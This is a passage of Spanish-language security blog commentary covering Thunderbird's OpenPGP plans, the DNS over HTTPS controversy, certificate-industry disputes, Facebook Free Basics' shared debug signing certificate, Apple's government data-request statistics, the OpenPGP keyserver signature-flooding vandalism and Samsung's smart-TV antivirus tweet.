también reparte críticas contra Engimail por lo complejo de su funcionamiento en un discurso que defiende el estándar, pero critica todo lo que le rodea. La escasez de recursos incluidos. En 20 años, en OpenPGP, no han podido siquiera realizar por ellos mismos una buena implementación de OpenPGP en JavaScript para que Enigmail pueda deshacerse de GnuPGP y las llamadas a la línea de comando. Simplemente no han tenido recursos para hacerlo. Tuvo que venir una compañía como ProtonMail a liberar openpgp.js y conseguirlo. ¿Las soluciones? En teoría podría ser sencillo introducir Enigmail en Thunderbird. Se podría meter todo, GnuPG incluido, en el cliente de correo. Pero no. Aquí vienen las licencias a aguar la fiesta. MPL 2.0 y GPL 3+ son incompatibles. Thunderbird debe rehacer OpenPGP sin aprovechar GnuPG. Y esto, aparte de la pérdida de tiempo, implica que muchas cosas cambiarán, incluido el formato de almacenamiento, la fórmula de trabajo… Y por supuesto, para prevenir el vandalismo en los servidores de llaves, usarán Autocrypt, WKD o Hagrid como modelos de compartición de llaves… pero no saben aún cuál. En esta entrada de la wiki de Mozilla se pueden ver cuánto está por hacer y por decidir. ¿Les dará tiempo para el verano de 2020? Por el lado malo podemos ver cómo Thunderbird, OpenPGP, Engimail… grandes o pequeños, todos han sufrido escasez de recursos estos años, o incompatibilidad de licencias (aun siendo libres) o problemas de vandalismo que son delicados de solucionar. El cambio la filosofía de add-ons en Mozilla les empuja a integrar una solución que todavía no tienen bien diseñada, no se ha decido y no parece sencilla. Pero están en ello. Confiemos en que lo solucionen sin problemas… porque será un esfuerzo considerable dedicado al cliente de correo y recordemos las palabras de Mozilla: mantendrá Thunderbird siempre que no suponga un lastre para Firefox. Por el lado bueno, quizás sirva para facilitar el uso del cifrado, más cómodo, más estándar, más portable y libre. Cuando apostaron de nuevo por Thunderbird en 2017, afirmaban desde Mozilla que era cierto "ahora es cuando más se necesita un correo independiente y seguro". Pero de nuevo... siempre que no lastre a Firefox, porque también es necesario un navegador independiente. Sea como sea, todavía tienen que solucionar muchos problemas y tomar otras tantas decisiones.

Si todavía no has oído hablar de DNS over HTTPS, deberías empezar a ponerte al día. No es un debate que se oiga precisamente en las pescaderías, pero en otros foros, donde realmente se decide el Internet del futuro, el asunto está que arde. DNS over HTTPS viene a ponerlo todo patas arriba tal y como lo conocemos. Y como en todo, se han formado dos bandos: principalmente Firefox y los demás. Firefox, con la excusa de la privacidad, está friccionando con el resto de actores de la industria. Rápido, qué es DoH DNS es uno de los protocolos más antiguos de la red, y siempre ha sido un dolor de cabeza de de la seguridad (desde el ataque cumpleaños, hasta el problema de Kaminsky). Todo en claro, con posibilidad de UDP (más fácil aún de inyectar paquetes falsos…). Un desastre incluso sin necesidad de ataques, porque los servidores pueden estar controlados por gobiernos y así redirigir o bloquear peticiones, y todo de forma absolutamente transparente y sin privacidad ni integridad (porque DNSSEC no está tan instaurado como debería). Hemos confiado los cimientos de Internet a un protocolo que no ha sabido protegerse tecnológicamente como para que se adoptaran masivamente las soluciones (o no se ha querido, precisamente por esa misma razón) y al que se le han aplicado todo tipo de parches y cataplasmas para no romper con el legado. Tanto, que al final la propuesta para conseguir seguridad ha sido rompedora: pasar la resolución al plano de los datos. Y por si fuera poco, DoH hace que la resolución no confíe en el DNS global del sistema, sino que podrá ignorar a ese servidor DNS que habitualmente se te proporciona por DHCP… de forma que cada aplicación podrá resolver a través de HTTPS de forma estándar. Esto es como si cada programa (navegador como estandarte) realizara sus resoluciones de dominio de forma individual, privada e inaccesible para el resto del sistema operativo o aplicaciones. Pero esto no es malo, ¿verdad?, ¿no sería maravilloso que nadie viera qué intentamos resolver, y no pudiera modificarlo de ninguna forma? Disfrazar en el HTTPS las peticiones, las respuestas, y dejarse arrastrar por la masa en un puerto que nadie puede cortar, el 443. No más espías o restricciones. Eso es lo que promete DoH, con Firefox como abanderado, pero ¿rompe más de lo que arregla? Desde el punto de vista de los navegadores, es su oportunidad de ganar poder, no solo porque ya conocen la tecnología HTTPS y les cuesta poco, sino porque pueden incrustar dentro del navegador el resolvedor al que se consultará por defecto. Y aquí entramos en el asunto con más problemas. Elige: Privacidad o Seguridad Ya se oyen las primeras quejas contra DoH. Cuando se dice que hay quien impulsa DoH aun cuando existen alternativas menos problemáticas como DNS over TLS, o que quieren obligar a usar DoH y resolver un problema que no existe, se están refiriendo a la fundación Mozilla. Sin duda el abanderado de la privacidad en Internet. Quiere que todo el mundo use DoH por defecto en su navegador y así lo está implementando. ¿Qué problema tiene esto? ¿No es cierto que se gana en privacidad? Sí, tanta que no se pueden ejercer controles, incluso beneficiosos, para el usuario. No se podrán filtrar dominios maliciosos, cortar el acceso a redes fraudulentas, etc. ¡La internet totalmente libre, eso no es una mala noticia! Sí, pero muchos usuarios seguirán prefiriendo que se les filtren ciertos dominios y además que sea coherente en todo el sistema operativo. Y no lo decimos nosotros solamente. Paul Vixie (uno de los padres del DNS) está radicalmente en contra, y promueve el uso de DNS sobre TLS en vez de sobre HTTPS. Una de las razones que argumenta es que (a pesar de sonar aguafiestas) se ha permitido finalmente abrir una especie de caja de Pandora, los analistas perderán control sobre la red, la capacidad de monitorizar, se confunden protocolos de señalización y datos… Pero tampoco lo dice Vixie solamente, sino que muchas voces siguen pensando que es un error. Tanto, que la asociación de ISP en UK nombraron a Mozilla “villano del año”. Finalmente en ese país no se activará pero ya lo están haciendo selectivamente en USA y el plan es que sea el comportamiento por defecto. Se podría argumentar que los ISPs quieren mantener el control de las peticiones, por eso están en contra de DoH. En realidad, si los ISP prefiriesen DNS “en claro” porque quisieran invadir la privacidad, el argumento no se sostiene. Si realmente su propósito fuera invadir la privacidad, incluso con DoH, un ISP dispondría de otros métodos para conocer los dominios. Desde el SIN hasta las IPs. Eso sí, es cierto que los MiTM atacantes no tendrían visibilidad de los dominios. ¿Y en las redes corporativas, en las que se deben usar los equipos bajo la política de la compañía? De nuevo tenemos un problema. Muchas soluciones de seguridad cuentan con conocer o filtrar los dominios a los que se conectan los usuarios para poder disponer de logs, filtros, etc. Una pesadilla para muchos administradores. Tanto es así, que hay peticiones de jueces elevadas al congreso para detener los planes de estandarizar DoH. Y todavía hay más problemas, como por ejemplo el hecho de que DoH puede llegar a reconcentrar todavía más las resolución en unas pocas compañías. ¿Qué otras opciones hay? Mozilla está en el punto de mira porque es la más beligerante y agresiva en su política de DoH por defecto. Por otro lado, Chrome usará otra estrategia. Se trata de una tabla propia donde se mapeará DNS con sus respectivos servidores DoH. Si los DNS de sistema tienen asociado un DoH, resolverá por el DoH de ese DNS. Esta es una aproximación a medio camino interesante. Si un servidor DNS dispone de versión DoH, se pueden seguir aplicando las políticas de seguridad necesarias, con lo que se alivian buena parte de los problemas, manteniendo los beneficios. Como la tabla es insostenible a largo plazo, ya existe una propuesta RFC para incluir tu DoH en tu DNS a través de un registro TXT o del propio HTTPS. Conclusiones Mozilla está complemente decidida a que por defecto, el usuario aumente su privacidad al margen de los ISP con solo usar su navegador. Liberarse del DNS tradicional. Es genial poder elegir. Los usuarios de Firefox suelen tener un perfil como para poder hacerlo sabiamente. De hecho hemos publicado un plugin de Firefox para facilitar el uso de DoH. Pero muchos de los argumentos blandidos como excusa para imponerlo son muy matizables. DoH no es la panacea de la privacidad porque por un lado existen alternativas igualmente efectivas, y por otro impacta sobre otros aspectos igual de importantes que la privacidad. ¿Cómo sopesamos esto?

Ninguna industria se libra de miserias internas, peleas y desencuentros entre sus principales actores. En estos días, (o meses, o años) la industria de los certificados digitales se transforma profundamente e intenta adaptarse a los nuevos tiempos. Actores como Google marcan el paso ahora más que nunca gracias al control de Chrome (donde deciden cuándo y cómo gestionar las alertas hacia el usuario, por ejemplo) o iniciativas como Certificate Transparency. Y precisamente vamos a centrarnos en dos encontronazos recientes de Google con personajes de la industria. En ambos casos el desencuentro ha involucrado a Ryan Sleevi, empleado de Google conocido por sus innumerables aportaciones en el mundo de la criptografía y certificados en general. Más a allá de la curiosidad, estas discusiones cuentan con buenos argumentos por ambas partes, y suponen una excusa interesante para la reflexión. El caso Ballot SC22 Los principales actores de internet (Google, Microsoft, Apple, Mozilla…) y las CAs ya han votado si se debe reducir (aún más) el tiempo de vida de los certificados TLS/SSL obligando a que tengan un tiempo de vida máximo. En los 2000, no existía límite para el tiempo de vida de un certificado. En 2012 se impuso un límite de 5 años. En 2015 se redujo a 3 años máximo. En 2017 Google intentó reducirlo 368 días (poco más de un año) pero se votó en contra. Poco después se votó a favor de 825 días (algo más de dos años). En septiembre de 2019 se ha votado que la duración sea de 397 días. Esta nueva propuesta viene otra vez principalmente impulsada por Google, Mozilla, Apple y Let’s Encrypt. Google lleva tiempo queriendo reducir el tiempo de vida de los certificados e impulsando iniciativas para mejorar su seguridad en varios aspectos. Desde una notificación más agresiva al usuario (haciendo pasar por no seguros los hashes obsoletos, las páginas sin HTTPS, etc) hasta sistemas complejos como Certificate Transparency. La votación SC22 suponía que la acortar del tiempo de vida representa una mejora en la seguridad en varios planos: supuestamente, adaptarse más rápido a los cambios (por ejemplo al abandonar algoritmos que vayan quedando obsoletos, introducción de nuevos campos en los certificados…); paliar el sistema de revocación (CRL y OSCP), que sigue sin funcionar y está totalmente roto; fomentar la automatización de los procesos (por realizarse más frecuentemente) y por tanto, con menor posibilidad de fallos. Pero todo esto es discutible. Las CAs Entrust Datacard y Globalsign no están convencidas de sus hipotéticas ventajas. Aparte de contar con el respaldo de sus clientes para el rechazo, alegan que no se ha hecho ningún estudio al respecto y todo son hipotéticas ventajas. Es lógico que los clientes no quieran certificados más cortos: implica más procedimientos, gastos y problemas en general. Si no se popularizan sistemas como ACME para automatizar la renovación y despliegue de certificados, los administradores se mostrarán siempre reacios. Let’s Encrypt ofrece certificados gratuitos y ya permite renovación automática de serie. Sin esos problemas, no es casualidad que apoye sin fisuras la propuesta de acortar certificados. A los navegadores tampoco les afectan estos problemas. En la lista de correo, Doug Beattie y Ryan Sleevi de Google se enzarzaron en una discusión abierta durante la votación. Beattie defendía que no había estudios que avalaran la necesidad de acortar la vida de los certificados, frente a los costes que suponía. No existían pruebas de que disminuirían el número de incidentes si se acortara el periodo de validez. Sleevi explicaba que la propuesta en sí era una explicación suficiente y que del mismo modo, habría que explicar si acortar la vida suponía algún daño, además de mostrar numerosos ejemplos. Merece la pena leer los argumentos de uno y otro, donde en algunos puntos rozaba una en cierta profundidad filosófica más general: ¿recordar incidentes a los clientes y proponer modificaciones para su mitigación sirve para convencer del cambio de manera constructiva, o para intimidar a la comunidad? Por cierto, el resultado de la votación es que no se acorta la vida de los certificados. El caso Scott Helme En esta entrada Scott Helme realiza una pequeña investigación sobre certificados EV (Extended Validation). Se supone que son más caros y que la validación sobre quién los solicita y los datos que se emiten en ese certificado deben ser totalmente rigurosas y fehacientes. Cynthia Revströn encontró un certificado de una compañía sueca con un número danés en el certificado. No es grave, pero implica que quizás no se están siguiendo las normativas de los certificados EV a rajatabla. Con esta excusa, Helme decide buscar otros certificados con, potencialmente, ese u otros tipos de problemas que violen el estándar EV. Encuentra unos 4000. Estos deben ser reportados y revocados. Estima que a 250 dólares cada uno, ha revocado un millón de dólares en certificados. Ryan Sleevi vuelve a la carga en Twitter y se enzarza en la polémica. Alega que ese tipo de investigaciones no aporta ningún valor, y su razonamiento es que estos fallos puntuales solo saturan el sistema. Ahora todos ellos deben ser revocados, pero no aporta nada concreto que motive y proponga una mejora a largo plazo. No son fallos sistemáticos a los que se les pueda poner remedio sino “anecdóticos” y por tanto hacen más daño que bien. Pone ejemplos positivos de fallos sistemáticos como este estudio en el que se monitorizan errores y fallos de certificados desde 2012, y desde donde se ayuda a la industria a mitigarlos a gran escala. Pone otro buen ejemplo como el encontrado por Corey Bonnell , que descubrió que Apple y Google, habían emitido 12 millones de certificados con 63 bits en su número de serie, no 64. Esto era relevante y curioso. El programa EJBCA que genera certificados sacrificó un bit para que el entero aleatorio que representa el número de serie siempre fuera positivo. Ahora bien, se exige una entropía y aleatoriedad de 64 bits en los números de serie de certificados para no facilitar los ataques de colisión que ya se conocen por culpa de MD5 y SHA1. Si se hicieran como "antiguamente", números pequeños y correlativos, se facilita a un atacante la construcción de una parte de un hipotético certificado falso. Con 63 bits, baja la entropía y no se sigue el estándar. En realidad afecta poco, porque 63 es suficiente y además ya pocos usan MD5 y SHA1. Pero fue una llamada de atención interesante para la industria. Sirviéndose de estos ejemplos, Sleevi finalmente se rendía sin estar convencido en la discusión ante Helme, que defendía la postura de que este estudio también ayuda a poner foco en que la industria debe tomarse en serio en general la emisión de certificados EV, aunque cada uno de los 4000 suponga un problema diferente. ¿Quién tiene razón en cada caso? ¿Son estas controversias de Sleevi (representando a Google) necesarias para hacer avanzar la industria? Es como preguntar quién tiene razón en el caso del eterno debate del “full disclosure”. Lo importante es escuchar a todas las partes si defienden con motivos sólidos cada postura.

Free Basics by Facebook es una app de Facebook destinada a países con una conectividad pobre, donde se ofrece un servicio gratuito de acceso a WhatsApp y Facebook. Se ha descubierto que en su versión Android utilizaba un certificado “Debug” compartido por otras aplicaciones no relacionadas y en otros markets. En ElevenPaths hemos comprobado que, además, lo hacía con apps de origen chino en Google Play desde 2015. Esto significa que compartían clave privada e incluso podrían llegar a influir en la app original. El dueño de la página Android Police les informaba hace algunos días de que el mismo certificado para firmar la app Facebook Basics estaba siendo usado por otras muchas apps en otros markets, sin relación aparente. Facebook le ha restado importancia alegando que no hay evidencias de que haya sido explotado y que ya ha sido solucionado. Pero esto no es tan sencillo y tanto las consecuencias como las potenciales causas solo son malas noticias. Causas Android obliga a firmar los APKs con certificados autofirmados. Esto viola un poco toda regla de una cadena de confianza, pero al menos sirve para mantener la integridad de la app y permitir su actualización. Si firmas una app con un certificado y lo subes a Google Play, nunca más podrás cambiarle el certificado (ni el nombre de paquete) si la quieres actualizar. Si pierdes el certificado, estás obligado a crear una app diferente, y esto es lo que ha tenido que hacer Facebook para “solucionarlo”. Pero Facebook no ha perdido (supuestamente) la clave privada del certificado para firmar. Ha hecho algo diferente (¿peor?) sobre lo que solo podemos elucubrar. Para empezar ha usado un certificado “Android Debug” sin datos reales rellenos. Esto, aparte de la mala imagen, significa que ha dejado en producción el típico certificado de prueba. ¿Cómo es posible que terceros usen este certificado? Quizás este certificado fuera público. Los hay, y algunos desarrolladores lo usan por desconocimiento, porque su app no tiene recorrido… Pero también cabe la posibilidad de que perdiera el control sobre este certificado, lo que implicaría una falta de seguridad en su desarrollo. Otra posibilidad es que la app fuera encargada a un tercero (¿freelance?) y este realizara otros trabajos posteriormente firmando con la misma clave (algo totalmente desaconsejable). En ElevenPaths hemos comprobado además que las apps firmadas con el mismo certificado no estaban exclusivamente en otros markets, sino que ya en 2015, justo cuando apareció Free Basics by Facebook, encontramos aplicaciones de origen chino firmadas y ya retiradas del market. * App: af739e903e97d957a29b3aeaa7865e8e49f63cb0 Firmado con: 5E8F16062EA3CD2C4A0D547876BAA6F38CABF625 En Google Play desde 2015-09-20 al 2016-10-07 aproximadamente. * App: 063371203246ba2b7e201bb633845f12712b057e Firmado con: 5E8F16062EA3CD2C4A0D547876BAA6F38CABF625 En Google Play desde: 2015-10-21 al 2016-06-22 aproximadamente. * App: c6a93efa87533eeb219730207e5237dfcb246725 Firmado con: 5E8F16062EA3CD2C4A0D547876BAA6F38CABF625 En Google Play desde: 2015-09-15 al 2015-09-16 aproximadamente. Consecuencias Aparte de la mala imagen para Facebook (¿hay algún área donde la privacidad no le sea cuestionada?), un atacante podría haber aprovechado esto para actualizar de forma fraudulenta la app de Facebook, ¿cómo? Bueno, para actualizar una app es requisito que posea el mismo certificado y solo es necesario también tener acceso a la cuenta de Google Play. No es sencillo, pero con esto, Facebook estaba facilitando la mitad del trabajo a un atacante. Además, también le facilitaría el trabajo para potenciales ataques de “colusión” en aplicaciones Android. Estos son ataques bien conocidos en los que aplicaciones diferentes no son maliciosas por sí mismas, pero que colaborando entre ellas pueden llegar a realizar un ataque. Un ejemplo es sumando permisos entre dos aplicaciones para que en conjunto se tenga más poder en el teléfono, pero individualmente parezcan inocuas. Para conseguir este tipo de ataques, estas apps deben estar firmadas con el mismo certificado. De nuevo, se estaba facilitando el trabajo a un potencial atacante. Para colmo, Facebook no ha querido recompensar al descubridor porque lo ha hecho público en Twitter antes de realizar el reporte.

En ocasiones, los gobiernos necesitan apoyarse en las grandes corporaciones para poder llevar a cabo su trabajo. Cuando una amenaza pasa por conocer la identidad o tener acceso a los datos de un potencial atacante o de una víctima en peligro, la información digital que almacenan estas empresas puede resultar vital para la investigación y evitar una catástrofe. Apple ha publicado un completo informe sobre qué datos le piden los gobiernos, cuáles y en qué medida las peticiones se satisfacen. Desde eliminación de apps del "Store" pasando por acceso a cuentas privadas. ¿Qué gobierno pide qué? Hemos elaborado unas gráficas para intentar identificar a través de esta publicación (que solo contiene tablas numéricas, qué les preocupa en mayor medida a los gobiernos). Peticiones basadas en dispositivos Esta tabla representa las peticiones de dispositivo. Por ejemplo cuando las fuerzas del orden actúan en nombre de clientes a los que han robado el dispositivo o lo han perdido. También recibe peticiones relacionadas con investigaciones de fraude, solicitan normalmente detalles de los clientes de Apple asociados a dispositivos o conexiones a servicios de Apple. Desde un IMEI hasta un número de serie. Petición de dispositivos por países Aquí, de lejos gana China solicitando datos de clientes asociados a dispositivos o conectados a servicios de Apple. Podemos también pensar que debido a la piratería del país y al fraude, los números pueden llegar a dispararse. Peticiones basadas en datos financieros Por ejemplo cuando las fuerzas del orden actúan en nombre de clientes que requieren asistencia relacionado con actividad fraudulenta de tarjetas de crédito o tarjetas regalo que se han usado para comprar productos de Apple. Peticiones de identificadores fiscales por países Estados Unidos y Alemania son los países con más peticiones de este tipo. Puede explicarse por la cantidad de fraude que se da en Estados Unidos relacionado con tarjetas de crédito (aunque no lo parezca, en EEUU es muy habitual todavía necesitar solamente la firma para validar un pago). Aquí se observa que son satisfechas las peticiones en menor medida que en el caso anterior. Peticiones basadas en cuentas Se realizan peticiones a Apple relacionadas con cuentas que pueden haber sido usadas en contra de la ley y términos de uso de Apple. Se trata de cuentas de iCloud o iTunes y su nombre, dirección e incluso contenido en la nube (backup, fotos, contactos…). Peticiones de cuentas por países Esta es quizás la medida más intrusiva, en la que se Apple proporciona contenido real privado. De nuevo China y Estados Unidos son los que más datos solicitan. Curiosamente, a China se le hace caso hasta en un 98% de las veces, mientras que a Estados Unidos “solo” en un 88%. Apple tiene la potestad de negarse si considera algún fallo en forma o fondo. Hay que tener en cuenta que Apple, además de ofrecer los datos, puede ofrecer “metadatos” no relacionados directamente con los datos, y esto no cuenta como petición “satisfecha” aunque también incluye ofrecer información. Peticiones relacionadas con la preservación de cuentas Bajo el contexto de la U.S. Electronic Communications Privacy Act (ECPA), se puede solicitar a Apple que “congele” una cuenta y los mantenga desde 90 a 180 días. Este es un paso previo a petición de acceso a la cuenta, en espera de que se obtenga el permiso legal para solicitar datos y para evitar que la cuenta sea borrada por el investigado. Peticiones de preservación de datos sobre cuentas Estados Unidos de nuevo es la que más peticiones de este tipo solicita. Es curioso como China desaparece en esta gráfica, a pesar de considerarse un paso previo a la petición de acceso a datos, en la que el país es bastante activo. ¿Es posible que China no tenga tantos problemas para obtener permisos legales? Peticiones de borrado o restricción de cuentas Peticiones de borrado de IDs de Apple, o restricciones de acceso. Estas son muy poco habituales. Estados Unidos solicitó 6 y se borraron 2. El resto, una o dos y nunca se cumplió. Peticiones de restricciones/borrado de cuentas por países Peticiones por emergencias También amparados bajo la U.S. Electronic Communications Privacy Act (ECPA), es posible solicitar a Apple que proporcione datos privados de cuentas si en situaciones de emergencia, cree que esto puede evitar un peligro de muerte o daño serio a individuos. Peticiones de emergencia por países Curiosamente aquí gana el Reino Unido con 198 cuentas pedidas, aunque no siempre se les satisface, seguido muy de cerca por Estados Unidos. El resto de países realizan apenas decenas de peticiones, casi siempre satisfechas. ¿Se preocupa más el Reino Unido por las emergencias y se limita a solicitar datos cuando se da ese caso? Peticiones relacionadas con la retirada de apps del market Habitualmente tiene que ver con apps que se supone violan la ley. Peticiones de eliminación de Apps China es, de largo, el país que más retiradas de apps solicita. Seguido curiosamente de Noruega, Arabia Saudí y Suiza. En esta ocasión, Estados Unidos, muy activo en la solicitud de acceso a datos en general, desaparece por completo. En el informe también se habla de datos requeridos por terceras partes privadas, bajo una petición legal. Hasta 181 peticiones en las que Apple ha satisfecho 53 accesos a información. Conclusiones Son complicadas. Podemos ver el vaso medio lleno o medio vacío: o sea, concluir que ciertos gobiernos solicitan “demasiado a menudo” acceso a datos, pero también argumentar que puede ocurrir que la justicia funcione de manera más ágil en ellos, o que el fraude se base más en estas localizaciones. La interpretación es libre. Lo que sí parece claras son algunas conclusiones basadas en los datos: El interés de China en la eliminación de aplicaciones que considera ilegales. La implicación del Reino Unido (y Estados Unidos, pero Reino Unido solo aparece en esta categoría) en las situaciones de emergencia. El carácter preventivo de Estados Unidos, que solicita congelación de cuenta mucho más a menudo que el resto. Alemania muy implicada (de nuevo, junto a Estados Unidos) en los fraudes financieros relacionados con productos de Apple. China, EEUU, Taiwán y Brasil, las naciones que más datos personales solicitan. Aclaración: en este ejercicio hemos representado en gráficas las tablas que publica la propia Apple. Es importante especificar que todas las peticiones se realizan por lotes. Por ejemplo, Apple contabiliza el número de peticiones de retirada de apps, y a su vez cada petición puede contener un número indeterminado de apps en ellas. Igual con las peticiones de cuentas y el número de cuentas en cada petición. Cuando Apple habla del porcentaje de peticiones satisfechas, habla de eso, de peticiones, pero no de cuentas concretas. Por ejemplo: Apple recibe 10 peticiones, con 100 cuentas entre todas las peticiones y luego dice que ha satisfecho el 90% de las peticiones, no sabemos cuántas cuentas individuales se le han proporcionado. Sin embargo en las gráficas hemos contrastado números totales contra ese porcentaje. Es un ejercicio que si bien no es exacto, puede aportarnos una idea aproximada de la cantidad real de datos proporcionados. Segunda parte ya disponible: CYBER SECURITY Dime qué datos solicitas a Apple y te diré qué tipo de gobierno eres (II) 23 de noviembre de 2020

Lo que está pasando con el ataque a la infraestructura de OpenPGP es un desastre en palabras de los afectados que mantienen el protocolo. Robert J. Hansen, que ha comunicado el incidente, ha calificado literalmente de “hijo de puta” al atacante, que se está dedicando al vandalismo con los certificados públicos, aprovechando fundamentalmente dos funcionalidades que se han convertido en serios problemas. Un poco de conocimiento previo En la red de pares de certificados públicos, donde cualquiera puede encontrar la clave pública PGP de una persona, no se borra jamás nada, nunca. Esto se decidió así (allá por los 90) por diseño para resistir a los potenciales ataques de gobiernos que quisieran censurar. Recordemos que todo el movimiento de cifrado libre nació como expresión de “rebeldía” precisamente por el intento de control de la criptografía desde las altas esferas. Como no existe una entidad certificadora central, PGP se basa en algo mucho más horizontal. Son los propios usuarios los que firman un certificado atestiguando que pertenece a quien dices ser. Cualquiera puede firmar un certificado público, dando fe de que pertenece a la persona que dice ser. En los 90 se celebraban “quedadas” donde los interesados se intercambiaban disquetes con sus firmas, para (independientemente de que lo conocieran o no) firmaran sus claves públicas. Con la popularización de internet esto se tradujo en una red de servidores que alojan las claves públicas. Puedes encontrar ahí las claves y dado el caso, firmar una atestiguando que pertenece a quien dice ser. Y cualquiera las puede firmar un número indeterminado de veces, alegando con su propia firma que el certificado pertenece a quien dice. Esto añade una firma de cierto número de bytes al certificado. Para siempre. El ataque El ataque que están llevando a cabo consiste en firmar miles de veces (hasta 150.000 por ahora) los certificados públicos y subirlos a la red de pares de certificados, donde nunca serán borrados. En la práctica, los certificados válidos comienzan a pesar varias decenas de megas al poco tiempo. Los firman sin datos, como se puede ver en la imagen. Por ahora se han centrado en atacar a dos personas muy relevantes del gremio del movimiento OpenPGP: Robert J. Hansen y Daniel Kahn Gillmor. El problema es que en estas circunstancias, Enigmail y cualquier implementación OpenPGP simplemente deja de funcionar o tarda muchísimo al procesar certificados tan pesados (varias decenas de megas ralentiza en decenas de minutos). Por ejemplo, 55.000 firmas consiguen un certificado de 17 megas. A efectos prácticos, esto inutiliza el keyring. Una persona quiere verificar las firmas de Daniel o Robert, y al importarlas, romperá su instalación. "Si la red de servidores fuera ilegalizada, los usuarios de PGP tendrían más privacidad"... Así, el ataque aprovecha dos circunstancias difíciles de solucionar (son funcionalidades por diseño), con lo que se trata de puro vandalismo : Que no haya límite en el número de firmas. Si lo hubiera, también sería un problema, puesto que el atacante podría alcanzar el límite de firmas de confianza de un certificado e impedir que cualquier otro confiara de nuevo en él. Los servidores SKS replican el contenido y el conseguirlo es parte del diseño por si un organismo interviniese. Así que lo que se hace, no puede ser borrado. ¿Y por qué no se arregla? El sistema de sincronización del sistema de red de (Synchronizing Key Server) es código libre pero está desmantenido en la práctica. Fue creado como una tesis de Yaron Minsky en lenguaje OCaml. Aunque suene extraño, nadie sabe cómo va realmente y necesitarían no arreglar esto sino cuestionar el diseño en sí. Él mismo se considera “programador ocasional” de este lenguaje, aunque esperamos que sea un ejercicio de modestia Están reportando soluciones, como no refrescar las claves afectadas y otras mitigaciones o hacerlo desde el servidor keys.openpgp.org, que implementa ciertas restricciones al problema a cambio de perder otras funcionalidades. Pero como dice el propio Hansen: no cree que la red actual sea salvable. Pero lo peor podría está por llegar. Los paquetes de repositorios de software de distribuciones suelen están firmados con OpenPGP. ¿Y si comienzan a atacar a estos certificados? La actualización de software desde distribuciones puede volverse muy lenta e inusable. Pone en riesgo la actualización de sistemas que podrían ser críticos. Esto puede suponer un efecto llamada para otros atacantes, puesto que explotar el fallo es relativamente sencillo. ¿Conclusiones? Se sabía que la red podía ser abusada, pero no se esperaba este acto de vandalismo “gratuito” a este nivel porque según los afectados, no se entiende el objetivo más allá de echar por tierra el trabajo altruista de personas que intentan que el cifrado sea un derecho libre. Se destila así el derrotismo del tono de los mensajes de los afectados, donde se percibe frustración, enfado y cierto pesimismo con frases como “esto es un desastre que se veía venir”, “no tiene solución”, etc. Esta frase final es demoledora: But if you get hit by a bus while crossing the street, I'll tell the driver everyone deserves a mulligan once in a while. You fool. You absolute, unmitigated, unadulterated, complete and utter, fool. Peace to everyone — including you, you son of a bitch. (Mulligan se refiere a “una segunda oportunidad” en la jerga del golf.) Llaman la atención varias lecciones: El hecho de que el código core de la red se encuentre en un lenguaje tan desconocido, y prácticamente no haya sido mantenido desde entonces precisamente por funcionar tan perfectamente bien. Que gnuPG (la implementación de OpenPGP) o Enigmail (que al fin y al cabo usa genuPG) no puedan trabajar con certificados de varios megas es como mínimo sorprendente. Su manejo de base de datos es bastante pobre. Recuerda a lo que ocurrió con OpenSSL tras HeartBleed. Comenzaron a ver en el código decenas de fallos, y los programadores confesaron en cierta forma que no podían dedicar más tiempo a auditar el código. Nacieron soluciones como LibreSSL para intentar programar una implementación de TLS más segura. El propio Daniel Kahn lo confiesa: “Hemos fallado como comunidad de ingeniería”. Esto daña la imagen de PGP en general. No goza de demasiada salud, y el hecho de que se le proporcione un golpe tan fuerte pone en riesgo toda su imagen, no solo sus servidores (que están siendo la excusa para el ataque). Interesante asunto por varias razones que lleva a varias incógnitas. Qué va a pasar con OpenPGP en general; con protocolo en sí; con sus implementaciones más populares; con los servidores…. Y sobre todo, qué planea el atacante (o el efecto llamada que genere a otros), si pasará de certificados personales a aquellos que firman paquetes y cómo reaccionarán las distribuciones.

Samsung publica un tweet en el que anima, a través de un pequeño vídeo, a analizar tu SmartTV cada pocas semanas con su antivirus incrustado. La polémica está servida: desde la extrañeza hasta la burla, los usuarios no terminan de entender por qué es necesario, cómo es posible o por qué no lo hace automáticamente si la televisión es tan lista. Hoy se recomienda con naturalidad un análisis de antimalware en tu teléfono… pero, ¿y hace diez años? ¿Pensabas que podrían llegar a espiar a través de malware en teléfonos? Samsung ha dado un paso interesante, con una llamada a la acción todavía inmadura pero valiente, que merece la pena resaltar y analizar. Detenerse en si el análisis es automático o manual o cualquier otro aspecto, es mirar al dedo y no la luna. El tweet en cuestión, borrado pocas horas después El malware es posible en cualquier sistema operativo. ¡También en televisión! El malware (o “malware viruses” como dicen literalmente en el tweet, indicador sin duda de que ha sido redactado por un comunity manager no muy ducho en la materia) necesita ejecución, y la ejecución viene por dos caminos: el usuario lo lanza voluntariamente (quizás sin saber que es malware, probablemente por ingeniería social) o se ejecuta a través de alguna vulnerabilidad. Estas dos circunstancias siguen siendo axiomas en cualquier sistema operativo sin excepción. ¿Puede una televisión sufrir vulnerabilidades que permitan instalar aplicaciones? Sí. ¿Puede un usuario instalar malware en su televisión a través de medios tan sencillos como el market oficial? Sí, ocurre constantemente con Google Play, por compararlo con un sistema análogo. Ahora bien, posible no es lo mismo que probable. En un dispositivo en el que por ahora se instalan relativamente pocas aplicaciones por parte del usuario, y cuyo ámbito se restringe al alcance de la red Wi-Fi, quizás no haya espacio para infecciones masivas… todavía y hasta que lo cambie la motivación de un potencial atacante. Pero no deberían resultarnos extraños escenarios en los que: Se cuele una aplicación troyanizada en el market de Samsung, por ejemplo. Una vulnerabilidad en el lector de ficheros multimedia permita ejecutar código a través de la reproducción de una imagen o película en un USB o disco duro. El navegador incrustado en la televisión contenga un fallo de seguridad que permita ejecutar código. Y luego, por qué no, el payload permitiría desde incrustar publicidad en las series, hasta grabar con el micrófono o cámara del aparato. O mostrar un mensaje intimidatorio en la pantalla en la que se demanden bitcoins para liberar el aparato. Sinceramente, no suena para nada a ciencia ficción. Todos son propuestas que ya hemos interiorizado, solo que hay que acostumbrarse al hecho de que existen aún más plataformas donde pueden se puede desarrollar ese mismo escenario. En su momento nos sorprendió en el PC, luego nos llevamos las manos a la cabeza porque la historia se repetía en el teléfono… ¿Por qué nos extraña que ocurra en la televisión como aparato con sistema operativo, programas y conexión a internet? Es el caldo de cultivo perfecto y natural para el malware. Usuarios en Twitter gastan bromas y los que gestionan la cuenta de Samsnug, pican El atrevido movimiento de Samsung: genio o loco Hace unos 15 años, Apple negaba abiertamente la existencia de malware para su sistema operativo. Hoy lleva incrustado una especie de antivirus por defecto. Google, evita la palabra malware para ceñirse a un guión donde todo son “aplicaciones potencialmente 